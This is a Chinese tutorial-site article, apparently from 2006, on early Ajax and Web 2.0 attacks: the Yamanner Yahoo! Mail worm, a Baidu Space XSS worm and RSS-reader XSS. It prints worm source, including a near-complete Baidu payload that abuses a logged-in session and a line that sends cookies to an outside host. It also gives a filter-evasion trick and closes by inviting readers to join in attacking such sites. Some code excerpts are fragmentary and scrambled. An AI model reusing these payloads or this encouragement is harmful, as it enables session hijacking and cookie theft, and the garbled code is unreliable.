DIV CSS 佈局教程網

 DIV+CSS佈局教程網 >> 網頁腳本 >> JavaScript入門知識 >> AJAX入門 >> AJAX詳解 >> Web2.0網站攻擊新潮—Ajax Hacking
Web2.0網站攻擊新潮—Ajax Hacking
編輯:AJAX詳解     

05年初,隨著web2.0這個字眼在中國的各大網絡媒體上如潮水般的湧現,Ajax技術(AJax,即"Asynchronous Javascript And XML"的縮寫,可翻譯為異步JavaScript及XML技術。其核心是一個寄宿在浏覽器中名為XMLHTTPRequest的類)也立即成為了大家學習研究及討論的焦點。當然凡事有利亦有弊,黑客們很快就找到了AJax的可攻擊弱點——SQL資料隱碼(SQL injections)、跨站腳本(cross-site scripting)和服務拒絕攻擊(Denial of Service)等。只是當時web2.0技術尚沒有像如今一樣流行,而且沒有比較正規化的平台發展起來,所以並沒有大量的攻擊出現。

真正的大型AJax攻擊在今年的6月12日首次出現在Yahoo!的Email服務上,而且甚至引起symantec的高度警覺。在其官方網站上你可以看到如下信息

 Discovered: June 12, 2006
Updated: June 20, 2006 10:46:40 AM ZW3
Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos]
Type: Worm
Infection Length: 6,377 bytes.
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy of itself to other Yahoo! Mail contacts.

你可以看到該攻擊程序為一大小為6.377k的javascript蠕蟲程序,並在20日進行了變種;因為是 javascript代碼,所以可以通吃所有版本的Windows操作系統。Symantec對其的官方解釋為:Yamanner是一個用 Javascript寫的蠕蟲,它利用Yahoo! Mail服務的一個弱點以用戶的聯系人列表向外發出自己的拷貝。事實上這個蠕蟲甚至不需要你打開附件,只要一浏覽郵件立即會使其蔓延。我很幸運地對於當時原始的病毒代碼進行收集,有興趣的可以到光盤中查看,如今在網上幾乎找不到了。從其中的一段功能代碼,你可以看出Javascript究竟是怎麼被寫入的,寫入後文件又是通過什麼方式調用的: 

  1. IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,  
  2. Param) { //- - 執行標准的AJax語句:XMLHttpRequest,並對浏覽器是否IE進行判斷 if (window.XMLHttpRequest) { http_request =  
  3. new XMLHttpRequest(); } else if (window.ActiveXObject) {  
  4. http_request = new ActiveXObject('Microsoft.XMLHTTP'); }  
  5. http_request.target=""onreadystatechange = Func;  
  6. http_request.open(Method, url, true); if( Method == 'GET')  
  7. http_request.send(null); else http_request.send(Param);  
  8. }window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex =  
  9. ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen =  
  10. MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, CutLen);  
  11. function GetIDs(HtmlContent) { IDList = ''; StartString = '  
  12. '; EndString = ''; 

由此Ajax攻擊可見一斑,然而這還僅僅是個開始。7月份百度開通了百度空間,雖然沒有指明是應用web2.0技術,但從web2.0象征的測試版(beta)和頁面模版架構等等,你可以看出它事實上已經應用了AJax技術。而在空間開通不到半個月,相應的攻擊方式又產生了,這個攻擊應該又算是一個蠕蟲吧。它利用百度提交的自定義CSS(Cascading Stylesheet,層疊樣式表單)中對插入的Javascript過濾不嚴格,而使攻擊者可以寫入惡意代碼進行了xss(Cross Site Scripting)跨站。從而使浏覽該空間的百度通行證用戶在不知覺的情況下將該站點加入自己的友情連接中。最原始代碼標本如下:

  1. #header{height:89px;background:url("Javascript:document.body.onload = function(){ //- - 在CSS的樣式標簽中插入Javascript代碼  
  2. var req = null;  
  3. if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 這句懂AJax的都知道,是它的核心XMLHttpRequest,而下面當然是必不可少的判斷是否IE的語句了。  
  4. else if(window.ActiveXObject){  
  5. var msXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');  
  6. for(var i=0;i   
  7. try{req.overrideMimeType('text/XML')}catch(e){}  
  8. }  
  9. req.open('get','.',false);  
  10. req.send();  
  11. var s=req.responseText;  
  12. p=s.indexOf('passport.baidu.com/?logout');  
  13. if(p>0)  
  14. {  
  15. p=s.indexOf('');  
  16. if(p>0)  
  17. {  
  18. p=s.indexof('/',p);  
  19. p2=s.indexOf(String.fromCharCode(34),p);  
  20. var user=s.substring(p+1,p2);  
  21. var name='Here is a bad site';  
  22. var link='目標網址';  
  23. var desc='This link was added by an XSS script';  
  24. var url='/'+user+'/commit';  
  25. var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 這句是整個蠕蟲的執行語句,也是AJax的數據異步調用語句。  
  26. req.open('post',url,false);  
  27. req.send(data);  
  28. alert('A frIEnd link has been added to your space at http://hi.baidu.com/' +user);  
  29. }  
  30. }  
  31. else{alert('You are not a logged Baidu user.');} //- - 由於是標本語句,所以這裡有對是否登陸的判斷,但實際攻擊中當然不會有。  
  32. }");  

當時百度在第一時間內對此蠕蟲作出了反映——過濾提交表單中的Javascript,當然這也使正常用戶無法再在blog中貼入Flash動畫。但後來的變種使得境況變得更糟糕,因為有人發現百度僅僅是過濾了CSS文本中的譬如"Javascript"和"expression"這樣的字符串。也就是說如果把”Javascript”分成兩行來寫,就可以繞過百度的過濾但同時又被IE執行。而這時變種的蠕蟲也隨之產生,其造成的結果是在用戶的CSS中加入如下代碼:

#header { ……

很簡單的一句吧,這幾乎把該蠕蟲提升到了病毒性質,因為用戶本身無法到達css修改頁面來修復他的CSS代碼。事實上直到寫這篇文章時,百度空間尚沒有對一些另類的插入惡意代碼方式進行有效地過濾和封鎖。

如果認為他們所造成的影響都是局域的,那麼我不得不帶領大家來看一些影響比較廣泛的最具有web2.0性質的——Rss(Really Simple Syndication)攻擊。這是我從zdnet.com的Joris Evers的一篇名為“Blog feeds may carry security risk ”了解到的,大體意思是說由於目前幾乎所有的不管是在線的還是離線的Rss閱讀器都沒有有效地對攙雜在Rss中的腳本進行過濾,導致攻擊者可以向Rss中寫入惡意的Javascript代碼,最終導致xss跨站,獲取用戶信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻擊范圍之內。這是去年yahoo rss xss代碼:

  1. Javascript: document.location='http://www.target.com/cookIE.CGI?' +document cookIE;   
  2. Should Steal Your CookIE.  
  3. Tue, 20 Sep 2005 23:55:18 EDT  
  4. Javascript: alert(document.cookIE);  
  5. Should Steal Your CookIE.  
  6. Tue, 20 Sep 2005 23:55:18 EDT  

事實上,最早的web2.0攻擊出現在去年的myspace.上,有人在MySpace交友網站上寫了一段JavaScript蠕蟲代碼,利用AJax方法讓無數的用戶在不知情的情況下把他加入了好友名單,同時在他們的個人簡介最後自動加上了“samy is my hero”的字樣。此蠕蟲被稱為世界上第一個“web2.0蠕蟲”。而從上文的對email、CSS、rss攻擊進行的描述中你也可以看出目前對 web2.0的攻擊利用亦是多方面的。但並不單單指跨站,網上有一篇《Hacking Ajax》的文章,其中有一句話被加了黑體,“By corrupting one of the dozens of data Exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是說適當情況下,利用AJax攻擊並獲得個人電腦管理權限亦是可能的。

由於目前系統對補丁的發布采取的都是時時更新功能,想通過溢出獲得shell已經很難了,除非是0day的系統漏洞;而sql注入在網絡也肆虐了幾年,亦有了行之有效的防范方法;並且由於Python和Ruby語言的興起,新的web2.0服務正在產生並有取代現有web結構趨勢,譬如Plone。但不可改變的是web浏覽器對xHtml和Javascript的解釋,只要我們始終有改變Javascript的可能性,我們就永遠有提升自己權限的可能……

那麼對於日趨龐大的web2.0大軍,你是否有興趣從中分一杯羹呢?

XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved